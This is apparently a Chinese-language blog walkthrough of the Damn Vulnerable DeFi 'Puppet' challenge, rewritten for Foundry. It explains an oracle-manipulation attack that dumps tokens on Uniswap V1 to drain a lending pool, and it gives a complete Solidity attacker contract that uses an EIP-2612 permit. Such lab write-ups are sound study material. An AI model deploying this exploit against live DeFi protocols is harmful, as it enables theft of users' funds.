挑戰 #8 - Puppet#
為了學習 solidity 和 foundry 系統,我使用 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題,歡迎交流和共建~🎉
合約#
- PuppetPool:提供 borrow 方法,供用戶使用 eth 購買 token,token 的價格來自於 uniswap
測試#
- 部署 DamnValuableToken 合約,部署 UniswapV1Factory UniswapV1Exchange 合約,完成 exchange 的初始化
- 部署 PuppetPool 合約,傳入 DamnValuableToken 和 UniswapV1Exchange 合約
- 向 UniswapV1Exchange 中提供 token 與 eth 1:1 的流動性
- 設置 player 和 pool 合約的 token 餘額分別為 PLAYER_INITIAL_TOKEN_BALANCE 和 POOL_INITIAL_TOKEN_BALANCE
- 執行測試腳本
- 期望 player 的 nonce 為 1,pool 中的 token 餘額為 0,player 中的 token 餘額大於 POOL_INITIAL_TOKEN_BALANCE
解題#
這道題的解題思路和上題類似,在 pool 提供了 borrow 方法中使用了 uniswap 作為 token 的價格預言機,那麼我們的攻擊思路就是通過操縱 uniswap 中 token 的價格以在 pool 中低價買入 token
本題提供的是 uniswap v1 合約,且題目只給了合約的 abi 和 bytecode,首先整理下 uniswap v1 的接口及我們需要用到的方法
// 計算賣出token能換出多少eth
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// 計算買入token需要多少eth
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);
完整的攻擊流程如下圖所示:
- 第一步通過調用
tokenToEthSwapInput
以賣出手中的 token 獲得 eth,從而降低在 uniswap 中的 token 價格 - 第二步在 token 價格降低後,調用
lendingPool.borrow
方法,以低價買入 token - 第三步再通過調用
ethToTokenSwapOutput
,用手中的 eth 買入 token 來恢復 uniswap 中的 token 價格
通過將這三步在一筆交易內完成,player 可以獲取 lendingPool 中的全部 token 從而實現攻擊目標
在具體實現時,值得注意的是授權步驟,因為題目要求在一筆交易內完成,但是使用 uniswap 又需要 approve,因此涉及從 player 到攻擊合約到 uniswap 的三級 approve,在一筆交易內是無法實現的。
但通過看DamnValuableToken
的實現代碼,可以看到它實現的 ERC20 協議中包括了擴展的EIP- 2612 LOGIC
,包含的就是 permit 邏輯,即通過用戶在鏈下預簽名,再提供到鏈上進行驗證,從而實現了代理 approve 的機制,具體關於 ERC-2612 可以看另一篇文章的介紹
完整的合約代碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
DamnValuableToken token;
PuppetPool pool;
receive() external payable{} // receive eth from uniswap
constructor(uint8 v, bytes32 r, bytes32 s,
uint256 playerAmount, uint256 poolAmount,
address _pool, address _uniswapPair, address _token) payable{
pool = PuppetPool(_pool);
token = DamnValuableToken(_token);
prepareAttack(v, r, s, playerAmount, _uniswapPair);
// swap token for eth --> lower token price in uniswap
_uniswapPair.call(abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)",
playerAmount,
1,
type(uint256).max
));
// borrow token from puppt pool
uint256 ethValue = pool.calculateDepositRequired(poolAmount);
pool.borrow{value: ethValue}(
poolAmount, msg.sender
);
// repay tokens to uniswap --> recovery balance in uniswap
_uniswapPair.call{value: 10 ether}(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)",
playerAmount,
type(uint256).max
)
);
token.transfer(msg.sender, token.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
// tranfser player token to attacker contract
token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
token.transferFrom(msg.sender, address(this), amount);
token.approve(_uniswapPair, amount);
}
}